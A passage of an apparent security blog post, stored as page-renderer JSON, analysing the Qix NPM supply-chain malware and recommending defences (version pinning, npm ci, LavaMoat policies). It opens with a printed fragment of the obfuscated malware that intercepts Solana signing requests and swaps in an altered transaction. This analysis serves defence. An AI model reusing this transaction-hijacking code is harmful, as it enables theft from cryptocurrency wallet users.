_0x2c3d7e",{"type":23,"tag":504,"props":97026,"children":97027},{"style":523},[97028],{"type":28,"value":320},{"type":23,"tag":504,"props":97030,"children":97031},{"style":529},[97032],{"type":28,"value":97033},"params",{"type":23,"tag":504,"props":97035,"children":97036},{"style":598},[97037],{"type":28,"value":13166},{"type":23,"tag":504,"props":97039,"children":97040},{"style":529},[97041],{"type":28,"value":97024},{"type":23,"tag":504,"props":97043,"children":97044},{"style":523},[97045],{"type":28,"value":320},{"type":23,"tag":504,"props":97047,"children":97048},{"style":529},[97049],{"type":28,"value":97033},{"type":23,"tag":504,"props":97051,"children":97052},{"style":523},[97053],{"type":28,"value":2711},{"type":23,"tag":504,"props":97055,"children":97056},{"style":1440},[97057],{"type":28,"value":3001},{"type":23,"tag":504,"props":97059,"children":97060},{"style":523},[97061],{"type":28,"value":39598},{"type":23,"tag":504,"props":97063,"children":97064},{"class":506,"line":540},[97065,97069],{"type":23,"tag":504,"props":97066,"children":97067},{"style":544},[97068],{"type":28,"value":96101},{"type":23,"tag":504,"props":97070,"children":97071},{"style":523},[97072],{"type":28,"value":552},{"type":23,"tag":504,"props":97074,"children":97075},{"class":506,"line":555},[97076,97080,97085,97089,97094,97098,97102,97106,97110,97114,97118,97122,97126],{"type":23,"tag":504,"props":97077,"children":97078},{"style":511},[97079],{"type":28,"value":50646},{"type":23,"tag":504,"props":97081,"children":97082},{"style":529},[97083],{"type":28,"value":97084}," _0x39ad21",{"type":23,"tag":504,"props":97086,"children":97087},{"style":598},[97088],{"type":28,"value":648},{"type":23,"tag":504,"props":97090,"children":97091},{"style":517},[97092],{"type":28,"value":97093}," _0x1089ae",{"type":23,"tag":504,"props":97095,"children":97096},{"style":523},[97097],{"type":28,"value":526},{"type":23,"tag":504,"props":97099,"children":97100},{"style":529},[97101],{"type":28,"value":96998},{"type":23,"tag":504,"props":97103,"children":97104},{"style":523},[97105],{"type":28,"value":320},{"type":23,"tag":504,"props":97107,"children":97108},{"style":529},[97109],{"type":28,"value":97033},{"type":23,"tag":504,"props":97111,"children":97112},{"style":523},[97113],{"type":28,"value":2711},{"type":23,"tag":504,"props":97115,"children":97116},{"style":1440},[97117],{"type":28,"value":3001},{"type":23,"tag":504,"props":97119,"children":97120},{"style":523},[97121],{"type":28,"value":22041},{"type":23,"tag":504,"props":97123,"children":97124},{"style":511},[97125],{"type":28,"value":2972},{"type":23,"tag":504,"props":97127,"children":97128},{"style":523},[97129],{"type":28,"value":630},{"type":23,"tag":504,"props":97131,"children":97132},{"class":506,"line":633},[97133,97138,97142,97146,97150,97154,97158,97162,97166],{"type":23,"tag":504,"props":97134,"children":97135},{"style":529},[97136],{"type":28,"value":97137},"    _0x2c3d7e",{"type":23,"tag":504,"props":97139,"children":97140},{"style":523},[97141],{"type":28,"value":320},{"type":23,"tag":504,"props":97143,"children":97144},{"style":529},[97145],{"type":28,"value":97033},{"type":23,"tag":504,"props":97147,"children":97148},{"style":523},[97149],{"type":28,"value":2711},{"type":23,"tag":504,"props":97151,"children":97152},{"style":1440},[97153],{"type":28,"value":3001},{"type":23,"tag":504,"props":97155,"children":97156},{"style":523},[97157],{"type":28,"value":595},{"type":23,"tag":504,"props":97159,"children":97160},{"style":598},[97161],{"type":28,"value":601},{"type":23,"tag":504,"props":97163,"children":97164},{"style":529},[97165],{"type":28,"value":97084},{"type":23,"tag":504,"props":97167,"children":97168},{"style":523},[97169],{"type":28,"value":866},{"type":23,"tag":504,"props":97171,"children":97172},{"class":506,"line":687},[97173,97177,97181,97185,97190],{"type":23,"tag":504,"props":97174,"children":97175},{"style":523},[97176],{"type":28,"value":30446},{"type":23,"tag":504,"props":97178,"children":97179},{"style":544},[97180],{"type":28,"value":796},{"type":23,"tag":504,"props":97182,"children":97183},{"style":523},[97184],{"type":28,"value":801},{"type":23,"tag":504,"props":97186,"children":97187},{"style":529},[97188],{"type":28,"value":97189},"_0x226343",{"type":23,"tag":504,"props":97191,"children":97192},{"style":523},[97193],{"type":28,"value":97194},") {}\n",{"type":23,"tag":504,"props":97196,"children":97197},{"class":506,"line":736},[97198,97202,97206],{"type":23,"tag":504,"props":97199,"children":97200},{"style":523},[97201],{"type":28,"value":45853},{"type":23,"tag":504,"props":97203,"children":97204},{"style":544},[97205],{"type":28,"value":2293},{"type":23,"tag":504,"props":97207,"children":97208},{"style":523},[97209],{"type":28,"value":552},{"type":23,"tag":504,"props":97211,"children":97212},{"class":506,"line":785},[97213,97217],{"type":23,"tag":504,"props":97214,"children":97215},{"style":544},[97216],{"type":28,"value":30372},{"type":23,"tag":504,"props":97218,"children":97219},{"style":523},[97220],{"type":28,"value":77317},{"type":23,"tag":504,"props":97222,"children":97223},{"class":506,"line":813},[97224,97229,97233,97237,97241,97245,97250],{"type":23,"tag":504,"props":97225,"children":97226},{"style":523},[97227],{"type":28,"value":97228},"    (",{"type":23,"tag":504,"props":97230,"children":97231},{"style":529},[97232],{"type":28,"value":96998},{"type":23,"tag":504,"props":97234,"children":97235},{"style":523},[97236],{"type":28,"value":320},{"type":23,"tag":504,"props":97238,"children":97239},{"style":529},[97240],{"type":28,"value":37289},{"type":23,"tag":504,"props":97242,"children":97243},{"style":598},[97244],{"type":28,"value":30400},{"type":23,"tag":504,"props":97246,"children":97247},{"style":622},[97248],{"type":28,"value":97249}," 'solana_signTransaction'",{"type":23,"tag":504,"props":97251,"children":97252},{"style":598},[97253],{"type":28,"value":97254}," ||\n",{"type":23,"tag":504,"props":97256,"children":97257},{"class":506,"line":851},[97258,97263,97267,97271,97275,97280,97284],{"type":23,"tag":504,"props":97259,"children":97260},{"style":529},[97261],{"type":28,"value":97262},"      _0x2c3d7e",{"type":23,"tag":504,"props":97264,"children":97265},{"style":523},[97266],{"type":28,"value":320},{"type":23,"tag":504,"props":97268,"children":97269},{"style":529},[97270],{"type":28,"value":37289},{"type":23,"tag":504,"props":97272,"children":97273},{"style":598},[97274],{"type":28,"value":30400},{"type":23,"tag":504,"props":97276,"children":97277},{"style":622},[97278],{"type":28,"value":97279}," 'solana_signAndSendTransaction'",{"type":23,"tag":504,"props":97281,"children":97282},{"style":523},[97283],{"type":28,"value":2064},{"type":23,"tag":504,"props":97285,"children":97286},{"style":598},[97287],{"type":28,"value":82566},{"type":23,"tag":504,"props":97289,"children":97290},{"class":506,"line":869},[97291,97295,97299,97303],{"type":23,"tag":504,"props":97292,"children":97293},{"style":529},[97294],{"type":28,"value":97137},{"type":23,"tag":504,"props":97296,"children":97297},{"style":523},[97298],{"type":28,"value":320},{"type":23,"tag":504,"props":97300,"children":97301},{"style":529},[97302],{"type":28,"value":97033},{"type":23,"tag":504,"props":97304,"children":97305},{"style":598},[97306],{"type":28,"value":51662},{"type":23,"tag":504,"props":97308,"children":97309},{"class":506,"line":878},[97310,97314,97318,97322,97326,97330],{"type":23,"tag":504,"props":97311,"children":97312},{"style":529},[97313],{"type":28,"value":97137},{"type":23,"tag":504,"props":97315,"children":97316},{"style":523},[97317],{"type":28,"value":320},{"type":23,"tag":504,"props":97319,"children":97320},{"style":529},[97321],{"type":28,"value":97033},{"type":23,"tag":504,"props":97323,"children":97324},{"style":523},[97325],{"type":28,"value":2711},{"type":23,"tag":504,"props":97327,"children":97328},{"style":1440},[97329],{"type":28,"value":3001},{"type":23,"tag":504,"props":97331,"children":97332},{"style":523},[97333],{"type":28,"value":10754},{"type":23,"tag":504,"props":97335,"children":97336},{"class":506,"line":1221},[97337],{"type":23,"tag":504,"props":97338,"children":97339},{"style":523},[97340],{"type":28,"value":97341},"  ) {\n",{"type":23,"tag":504,"props":97343,"children":97344},{"class":506,"line":1276},[97345,97349],{"type":23,"tag":504,"props":97346,"children":97347},{"style":544},[97348],{"type":28,"value":547},{"type":23,"tag":504,"props":97350,"children":97351},{"style":523},[97352],{"type":28,"value":552},{"type":23,"tag":504,"props":97354,"children":97355},{"class":506,"line":1285},[97356,97360,97365,97369,97373,97377,97381,97385,97389],{"type":23,"tag":504,"props":97357,"children":97358},{"style":511},[97359],{"type":28,"value":7058},{"type":23,"tag":504,"props":97361,"children":97362},{"style":529},[97363],{"type":28,"value":97364}," _0x5ad975",{"type":23,"tag":504,"props":97366,"children":97367},{"style":598},[97368],{"type":28,"value":648},{"type":23,"tag":504,"props":97370,"children":97371},{"style":529},[97372],{"type":28,"value":97024},{"type":23,"tag":504,"props":97374,"children":97375},{"style":523},[97376],{"type":28,"value":320},{"type":23,"tag":504,"props":97378,"children":97379},{"style":529},[97380],{"type":28,"value":97033},{"type":23,"tag":504,"props":97382,"children":97383},{"style":523},[97384],{"type":28,"value":2711},{"type":23,"tag":504,"props":97386,"children":97387},{"style":1440},[97388],{"type":28,"value":3001},{"type":23,"tag":504,"props":97390,"children":97391},{"style":523},[97392],{"type":28,"value":30552},{"type":23,"tag":504,"props":97394,"children":97395},{"class":506,"line":1294},[97396,97400,97404,97409,97413,97418],{"type":23,"tag":504,"props":97397,"children":97398},{"style":544},[97399],{"type":28,"value":38262},{"type":23,"tag":504,"props":97401,"children":97402},{"style":523},[97403],{"type":28,"value":801},{"type":23,"tag":504,"props":97405,"children":97406},{"style":529},[97407],{"type":28,"value":97408},"_0x5ad975",{"type":23,"tag":504,"props":97410,"children":97411},{"style":523},[97412],{"type":28,"value":320},{"type":23,"tag":504,"props":97414,"children":97415},{"style":529},[97416],{"type":28,"value":97417},"transaction",{"type":23,"tag":504,"props":97419,"children":97420},{"style":523},[97421],{"type":28,"value":537},{"type":23,"tag":504,"props":97423,"children":97424},{"class":506,"line":1302},[97425,97430,97434,97438,97442,97446],{"type":23,"tag":504,"props":97426,"children":97427},{"style":529},[97428],{"type":28,"value":97429},"        _0x5ad975",{"type":23,"tag":504,"props":97431,"children":97432},{"style":598},[97433],{"type":28,"value":648},{"type":23,"tag":504,"props":97435,"children":97436},{"style":529},[97437],{"type":28,"value":97364},{"type":23,"tag":504,"props":97439,"children":97440},{"style":523},[97441],{"type":28,"value":320},{"type":23,"tag":504,"props":97443,"children":97444},{"style":529},[97445],{"type":28,"value":97417},{"type":23,"tag":504,"props":97447,"children":97448},{"style":523},[97449],{"type":28,"value":866},{"type":23,"tag":504,"props":97451,"children":97452},{"class":506,"line":1311},[97453],{"type":23,"tag":504,"props":97454,"children":97455},{"style":523},[97456],{"type":28,"value":11645},{"type":23,"tag":504,"props":97458,"children":97459},{"class":506,"line":1334},[97460,97464,97469,97473,97477,97481,97485,97489,97493],{"type":23,"tag":504,"props":97461,"children":97462},{"style":511},[97463],{"type":28,"value":30525},{"type":23,"tag":504,"props":97465,"children":97466},{"style":529},[97467],{"type":28,"value":97468}," _0x5dbe63",{"type":23,"tag":504,"props":97470,"children":97471},{"style":598},[97472],{"type":28,"value":648},{"type":23,"tag":504,"props":97474,"children":97475},{"style":517},[97476],{"type":28,"value":97093},{"type":23,"tag":504,"props":97478,"children":97479},{"style":523},[97480],{"type":28,"value":526},{"type":23,"tag":504,"props":97482,"children":97483},{"style":529},[97484],{"type":28,"value":97408},{"type":23,"tag":504,"props":97486,"children":97487},{"style":523},[97488],{"type":28,"value":576},{"type":23,"tag":504,"props":97490,"children":97491},{"style":511},[97492],{"type":28,"value":7158},{"type":23,"tag":504,"props":97494,"children":97495},{"style":523},[97496],{"type":28,"value":630},{"type":23,"tag":504,"props":97498,"children":97499},{"class":506,"line":1370},[97500,97504,97508,97512,97516,97520,97524,97528,97532,97536],{"type":23,"tag":504,"props":97501,"children":97502},{"style":544},[97503],{"type":28,"value":38262},{"type":23,"tag":504,"props":97505,"children":97506},{"style":523},[97507],{"type":28,"value":801},{"type":23,"tag":504,"props":97509,"children":97510},{"style":529},[97511],{"type":28,"value":96998},{"type":23,"tag":504,"props":97513,"children":97514},{"style":523},[97515],{"type":28,"value":320},{"type":23,"tag":504,"props":97517,"children":97518},{"style":529},[97519],{"type":28,"value":97033},{"type":23,"tag":504,"props":97521,"children":97522},{"style":523},[97523],{"type":28,"value":2711},{"type":23,"tag":504,"props":97525,"children":97526},{"style":1440},[97527],{"type":28,"value":3001},{"type":23,"tag":504,"props":97529,"children":97530},{"style":523},[97531],{"type":28,"value":49328},{"type":23,"tag":504,"props":97533,"children":97534},{"style":529},[97535],{"type":28,"value":97417},{"type":23,"tag":504,"props":97537,"children":97538},{"style":523},[97539],{"type":28,"value":537},{"type":23,"tag":504,"props":97541,"children":97542},{"class":506,"line":1384},[97543,97548,97552,97556,97560,97564,97568,97572,97576,97580],{"type":23,"tag":504,"props":97544,"children":97545},{"style":529},[97546],{"type":28,"value":97547},"        _0x2c3d7e",{"type":23,"tag":504,"props":97549,"children":97550},{"style":523},[97551],{"type":28,"value":320},{"type":23,"tag":504,"props":97553,"children":97554},{"style":529},[97555],{"type":28,"value":97033},{"type":23,"tag":504,"props":97557,"children":97558},{"style":523},[97559],{"type":28,"value":2711},{"type":23,"tag":504,"props":97561,"children":97562},{"style":1440},[97563],{"type":28,"value":3001},{"type":23,"tag":504,"props":97565,"children":97566},{"style":523},[97567],{"type":28,"value":49328},{"type":23,"tag":504,"props":97569,"children":97570},{"style":529},[97571],{"type":28,"value":97417},{"type":23,"tag":504,"props":97573,"children":97574},{"style":598},[97575],{"type":28,"value":648},{"type":23,"tag":504,"props":97577,"children":97578},{"style":529},[97579],{"type":28,"value":97468},{"type":23,"tag":504,"props":97581,"children":97582},{"style":523},[97583],{"type":28,"value":866},{"type":23,"tag":504,"props":97585,"children":97586},{"class":506,"line":1392},[97587,97591,97595],{"type":23,"tag":504,"props":97588,"children":97589},{"style":523},[97590],{"type":28,"value":37916},{"type":23,"tag":504,"props":97592,"children":97593},{"style":544},[97594],{"type":28,"value":2293},{"type":23,"tag":504,"props":97596,"children":97597},{"style":523},[97598],{"type":28,"value":552},{"type":23,"tag":504,"props":97600,"children":97601},{"class":506,"line":1400},[97602,97606,97610,97614,97618,97622,97626,97630,97634],{"type":23,"tag":504,"props":97603,"children":97604},{"style":529},[97605],{"type":28,"value":97547},{"type":23,"tag":504,"props":97607,"children":97608},{"style":523},[97609],{"type":28,"value":320},{"type":23,"tag":504,"props":97611,"children":97612},{"style":529},[97613],{"type":28,"value":97033},{"type":23,"tag":504,"props":97615,"children":97616},{"style":523},[97617],{"type":28,"value":2711},{"type":23,"tag":504,"props":97619,"children":97620},{"style":1440},[97621],{"type":28,"value":3001},{"type":23,"tag":504,"props":97623,"children":97624},{"style":523},[97625],{"type":28,"value":595},{"type":23,"tag":504,"props":97627,"children":97628},{"style":598},[97629],{"type":28,"value":601},{"type":23,"tag":504,"props":97631,"children":97632},{"style":529},[97633],{"type":28,"value":97468},{"type":23,"tag":504,"props":97635,"children":97636},{"style":523},[97637],{"type":28,"value":866},{"type":23,"tag":504,"props":97639,"children":97640},{"class":506,"line":1422},[97641],{"type":23,"tag":504,"props":97642,"children":97643},{"style":523},[97644],{"type":28,"value":11645},{"type":23,"tag":504,"props":97646,"children":97647},{"class":506,"line":1450},[97648,97652,97656,97660,97665],{"type":23,"tag":504,"props":97649,"children":97650},{"style":523},[97651],{"type":28,"value":791},{"type":23,"tag":504,"props":97653,"children":97654},{"style":544},[97655],{"type":28,"value":796},{"type":23,"tag":504,"props":97657,"children":97658},{"style":523},[97659],{"type":28,"value":801},{"type":23,"tag":504,"props":97661,"children":97662},{"style":529},[97663],{"type":28,"value":97664},"_0x4b99fd",{"type":23,"tag":504,"props":97666,"children":97667},{"style":523},[97668],{"type":28,"value":97194},{"type":23,"tag":504,"props":97670,"children":97671},{"class":506,"line":1463},[97672],{"type":23,"tag":504,"props":97673,"children":97674},{"style":523},[97675],{"type":28,"value":4855},{"type":23,"tag":504,"props":97677,"children":97678},{"class":506,"line":1485},[97679],{"type":23,"tag":504,"props":97680,"children":97681},{"style":523},[97682],{"type":28,"value":884},{"type":23,"tag":82,"props":97684,"children":97686},{"id":97685},"impact-of-the-attack",[97687],{"type":28,"value":97688},"Impact of the Attack",{"type":23,"tag":24,"props":97690,"children":97691},{},[97692],{"type":28,"value":97693},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":23,"tag":70,"props":97695,"children":97697},{"id":97696},"why-it-will-happen-again",[97698],{"type":28,"value":97699},"Why It Will Happen Again",{"type":23,"tag":24,"props":97701,"children":97702},{},[97703],{"type":28,"value":97704},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":23,"tag":24,"props":97706,"children":97707},{},[97708],{"type":28,"value":97709},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":23,"tag":70,"props":97711,"children":97713},{"id":97712},"what-developers-can-do",[97714],{"type":28,"value":97715},"What Developers Can Do",{"type":23,"tag":24,"props":97717,"children":97718},{},[97719],{"type":28,"value":97720},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":23,"tag":82,"props":97722,"children":97724},{"id":97723},"_1-version-pinning-in-packagejson",[97725,97727],{"type":28,"value":97726},"1. Version pinning in ",{"type":23,"tag":56,"props":97728,"children":97730},{"className":97729},[],[97731],{"type":28,"value":97732},"package.json",{"type":23,"tag":24,"props":97734,"children":97735},{},[97736],{"type":28,"value":97737},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":23,"tag":24,"props":97739,"children":97740},{},[97741,97743,97749,97751,97756,97758,97763],{"type":28,"value":97742},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":23,"tag":56,"props":97744,"children":97746},{"className":97745},[],[97747],{"type":28,"value":97748},"npm install",{"type":28,"value":97750},". To pin it, just make sure to remove the caret ",{"type":23,"tag":56,"props":97752,"children":97754},{"className":97753},[],[97755],{"type":28,"value":47913},{"type":28,"value":97757}," symbol before the version in ",{"type":23,"tag":56,"props":97759,"children":97761},{"className":97760},[],[97762],{"type":28,"value":97732},{"type":28,"value":3472},{"type":23,"tag":494,"props":97765,"children":97767},{"code":97766,"language":32975,"meta":7,"className":32973,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[97768],{"type":23,"tag":56,"props":97769,"children":97770},{"__ignoreMap":7},[97771,97792,97813,97834],{"type":23,"tag":504,"props":97772,"children":97773},{"class":506,"line":507},[97774,97779,97783,97788],{"type":23,"tag":504,"props":97775,"children":97776},{"style":622},[97777],{"type":28,"value":97778},"\"@react-native-async-storage/async-storage\"",{"type":23,"tag":504,"props":97780,"children":97781},{"style":523},[97782],{"type":28,"value":14311},{"type":23,"tag":504,"props":97784,"children":97785},{"style":622},[97786],{"type":28,"value":97787},"\"1.23.1\"",{"type":23,"tag":504,"props":97789,"children":97790},{"style":523},[97791],{"type":28,"value":2484},{"type":23,"tag":504,"props":97793,"children":97794},{"class":506,"line":540},[97795,97800,97804,97809],{"type":23,"tag":504,"props":97796,"children":97797},{"style":622},[97798],{"type":28,"value":97799},"\"@react-native-community/datetimepicker\"",{"type":23,"tag":504,"props":97801,"children":97802},{"style":523},[97803],{"type":28,"value":14311},{"type":23,"tag":504,"props":97805,"children":97806},{"style":622},[97807],{"type":28,"value":97808},"\"8.3.0\"",{"type":23,"tag":504,"props":97810,"children":97811},{"style":523},[97812],{"type":28,"value":2484},{"type":23,"tag":504,"props":97814,"children":97815},{"class":506,"line":555},[97816,97821,97825,97830],{"type":23,"tag":504,"props":97817,"children":97818},{"style":622},[97819],{"type":28,"value":97820},"\"@react-native-community/netinfo\"",{"type":23,"tag":504,"props":97822,"children":97823},{"style":523},[97824],{"type":28,"value":14311},{"type":23,"tag":504,"props":97826,"children":97827},{"style":622},[97828],{"type":28,"value":97829},"\"11.4.1\"",{"type":23,"tag":504,"props":97831,"children":97832},{"style":523},[97833],{"type":28,"value":2484},{"type":23,"tag":504,"props":97835,"children":97836},{"class":506,"line":633},[97837,97842,97846],{"type":23,"tag":504,"props":97838,"children":97839},{"style":622},[97840],{"type":28,"value":97841},"\"@react-native-picker/picker\"",{"type":23,"tag":504,"props":97843,"children":97844},{"style":523},[97845],{"type":28,"value":14311},{"type":23,"tag":504,"props":97847,"children":97848},{"style":622},[97849],{"type":28,"value":97850},"\"2.11.0\"\n",{"type":23,"tag":82,"props":97852,"children":97854},{"id":97853},"_2-use-npm-ci",[97855,97857],{"type":28,"value":97856},"2. Use ",{"type":23,"tag":56,"props":97858,"children":97860},{"className":97859},[],[97861],{"type":28,"value":97862},"npm ci",{"type":23,"tag":24,"props":97864,"children":97865},{},[97866,97871,97873,97879,97881,97886],{"type":23,"tag":56,"props":97867,"children":97869},{"className":97868},[],[97870],{"type":28,"value":97862},{"type":28,"value":97872}," uses the dependency versions from ",{"type":23,"tag":56,"props":97874,"children":97876},{"className":97875},[],[97877],{"type":28,"value":97878},"package-lock.json",{"type":28,"value":97880}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":23,"tag":56,"props":97882,"children":97884},{"className":97883},[],[97885],{"type":28,"value":97748},{"type":28,"value":97887}," when adding a new package or updating an existing one.",{"type":23,"tag":82,"props":97889,"children":97891},{"id":97890},"_3-implement-lavamoat",[97892,97894],{"type":28,"value":97893},"3. Implement ",{"type":23,"tag":92,"props":97895,"children":97898},{"href":97896,"rel":97897},"https://github.com/LavaMoat/LavaMoat/tree/main",[96],[97899],{"type":23,"tag":296,"props":97900,"children":97901},{},[97902],{"type":28,"value":97903},"Lavamoat",{"type":23,"tag":24,"props":97905,"children":97906},{},[97907],{"type":28,"value":97908},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":23,"tag":24,"props":97910,"children":97911},{},[97912],{"type":28,"value":97913},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":23,"tag":494,"props":97915,"children":97917},{"code":97916,"language":32975,"meta":7,"className":32973,"style":7},"\"resources\": {\n    \"@ethereumjs/util>@ethereumjs/rlp\": {\n      \"globals\": {\n        \"TextEncoder\": true\n      }\n    },\n    \"@ethereumjs/util\": {\n      \"globals\": {\n        \"console.warn\": true,\n        \"fetch\": true\n      },\n      \"packages\": {\n        \"@ethereumjs/util>@ethereumjs/rlp\": true,\n        \"@ethereumjs/util>ethereum-cryptography\": true\n      }\n    }\n}\n",[97918],{"type":23,"tag":56,"props":97919,"children":97920},{"__ignoreMap":7},[97921,97933,97945,97956,97972,97979,97986,97998,98009,98029,98045,98052,98063,98083,98099,98106,98113],{"type":23,"tag":504,"props":97922,"children":97923},{"class":506,"line":507},[97924,97929],{"type":23,"tag":504,"props":97925,"children":97926},{"style":622},[97927],{"type":28,"value":97928},"\"resources\"",{"type":23,"tag":504,"props":97930,"children":97931},{"style":523},[97932],{"type":28,"value":35999},{"type":23,"tag":504,"props":97934,"children":97935},{"class":506,"line":540},[97936,97941],{"type":23,"tag":504,"props":97937,"children":97938},{"style":529},[97939],{"type":28,"value":97940},"    \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":23,"tag":504,"props":97942,"children":97943},{"style":523},[97944],{"type":28,"value":35999},{"type":23,"tag":504,"props":97946,"children":97947},{"class":506,"line":555},[97948,97952],{"type":23,"tag":504,"props":97949,"children":97950},{"style":529},[97951],{"type":28,"value":36007},{"type":23,"tag":504,"props":97953,"children":97954},{"style":523},[97955],{"type":28,"value":35999},{"type":23,"tag":504,"props":97957,"children":97958},{"class":506,"line":633},[97959,97964,97968],{"type":23,"tag":504,"props":97960,"children":97961},{"style":529},[97962],{"type":28,"value":97963},"        \"TextEncoder\"",{"type":23,"tag":504,"props":97965,"children":97966},{"style":523},[97967],{"type":28,"value":14311},{"type":23,"tag":504,"props":97969,"children":97970},{"style":511},[97971],{"type":28,"value":36168},{"type":23,"tag":504,"props":97973,"children":97974},{"class":506,"line":687},[97975],{"type":23,"tag":504,"props":97976,"children":97977},{"style":523},[97978],{"type":28,"value":11645},{"type":23,"tag":504,"props":97980,"children":97981},{"class":506,"line":736},[97982],{"type":23,"tag":504,"props":97983,"children":97984},{"style":523},[97985],{"type":28,"value":24361},{"type":23,"tag":504,"props":97987,"children":97988},{"class":506,"line":785},[97989,97994],{"type":23,"tag":504,"props":97990,"children":97991},{"style":529},[97992],{"type":28,"value":97993},"    \"@ethereumjs/util\"",{"type":23,"tag":504,"props":97995,"children":97996},{"style":523},[97997],{"type":28,"value":35999},{"type":23,"tag":504,"props":97999,"children":98000},{"class":506,"line":813},[98001,98005],{"type":23,"tag":504,"props":98002,"children":98003},{"style":529},[98004],{"type":28,"value":36007},{"type":23,"tag":504,"props":98006,"children":98007},{"style":523},[98008],{"type":28,"value":35999},{"type":23,"tag":504,"props":98010,"children":98011},{"class":506,"line":851},[98012,98017,98021,98025],{"type":23,"tag":504,"props":98013,"children":98014},{"style":529},[98015],{"type":28,"value":98016},"        \"console.warn\"",{"type":23,"tag":504,"props":98018,"children":98019},{"style":523},[98020],{"type":28,"value":14311},{"type":23,"tag":504,"props":98022,"children":98023},{"style":511},[98024],{"type":28,"value":2972},{"type":23,"tag":504,"props":98026,"children":98027},{"style":523},[98028],{"type":28,"value":2484},{"type":23,"tag":504,"props":98030,"children":98031},{"class":506,"line":869},[98032,98037,98041],{"type":23,"tag":504,"props":98033,"children":98034},{"style":529},[98035],{"type":28,"value":98036},"        \"fetch\"",{"type":23,"tag":504,"props":98038,"children":98039},{"style":523},[98040],{"type":28,"value":14311},{"type":23,"tag":504,"props":98042,"children":98043},{"style":511},[98044],{"type":28,"value":36168},{"type":23,"tag":504,"props":98046,"children":98047},{"class":506,"line":878},[98048],{"type":23,"tag":504,"props":98049,"children":98050},{"style":523},[98051],{"type":28,"value":36176},{"type":23,"tag":504,"props":98053,"children":98054},{"class":506,"line":1221},[98055,98059],{"type":23,"tag":504,"props":98056,"children":98057},{"style":529},[98058],{"type":28,"value":36184},{"type":23,"tag":504,"props":98060,"children":98061},{"style":523},[98062],{"type":28,"value":35999},{"type":23,"tag":504,"props":98064,"children":98065},{"class":506,"line":1276},[98066,98071,98075,98079],{"type":23,"tag":504,"props":98067,"children":98068},{"style":529},[98069],{"type":28,"value":98070},"        \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":23,"tag":504,"props":98072,"children":98073},{"style":523},[98074],{"type":28,"value":14311},{"type":23,"tag":504,"props":98076,"children":98077},{"style":511},[98078],{"type":28,"value":2972},{"type":23,"tag":504,"props":98080,"children":98081},{"style":523},[98082],{"type":28,"value":2484},{"type":23,"tag":504,"props":98084,"children":98085},{"class":506,"line":1285},[98086,98091,98095],{"type":23,"tag":504,"props":98087,"children":98088},{"style":529},[98089],{"type":28,"value":98090},"        \"@ethereumjs/util>ethereum-cryptography\"",{"type":23,"tag":504,"props":98092,"children":98093},{"style":523},[98094],{"type":28,"value":14311},{"type":23,"tag":504,"props":98096,"children":98097},{"style":511},[98098],{"type":28,"value":36168},{"type":23,"tag":504,"props":98100,"children":98101},{"class":506,"line":1294},[98102],{"type":23,"tag":504,"props":98103,"children":98104},{"style":523},[98105],{"type":28,"value":11645},{"type":23,"tag":504,"props":98107,"children":98108},{"class":506,"line":1302},[98109],{"type":23,"tag":504,"props":98110,"children":98111},{"style":523},[98112],{"type":28,"value":875},{"type":23,"tag":504,"props":98114,"children":98115},{"class":506,"line":1311},[98116],{"type":23,"tag":504,"props":98117,"children":98118},{"style":523},[98119],{"type":28,"value":884},{"type":23,"tag":24,"props":98121,"children":98122},{},[98123,98125,98131,98133,98139,98140,98145,98147,98153,98154,98160],{"type":28,"value":98124},"In this example, it restricts the ",{"type":23,"tag":56,"props":98126,"children":98128},{"className":98127},[],[98129],{"type":28,"value":98130},"@ethereumjs/util",{"type":28,"value":98132}," package to use only ",{"type":23,"tag":56,"props":98134,"children":98136},{"className":98135},[],[98137],{"type":28,"value":98138},"console.warn",{"type":28,"value":430},{"type":23,"tag":56,"props":98141,"children":98143},{"className":98142},[],[98144],{"type":28,"value":33072},{"type":28,"value":98146}," functions, and to include only ",{"type":23,"tag":56,"props":98148,"children":98150},{"className":98149},[],[98151],{"type":28,"value":98152},"@ethereumjs/rlp",{"type":28,"value":430},{"type":23,"tag":56,"props":98155,"children":98157},{"className":98156},[],[98158],{"type":28,"value":98159},"ethereum-cryptography",{"type":28,"value":98161}," packages.",{"type":23,"tag":24,"props":98163,"children":98164},{},[98165],{"type":28,"value":98166},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":23,"tag":24,"props":98168,"children":98169},{},[98170,98172,98178],{"type":28,"value":98171},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":23,"tag":92,"props":98173,"children":98176},{"href":98174,"rel":98175},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[96],[98177],{"type":28,"value":36354},{"type":28,"value":320},{"type":23,"tag":82,"props":98180,"children":98182},{"id":98181},"lavamoat-vs-qix-malware",[98183],{"type":28,"value":98184},"Lavamoat vs Qix Malware",{"type":23,"tag":24,"props":98186,"children":98187},{},[98188,98190,98195],{"type":28,"value":98189},"If a dApp were compromised with the Qix malware (say it used 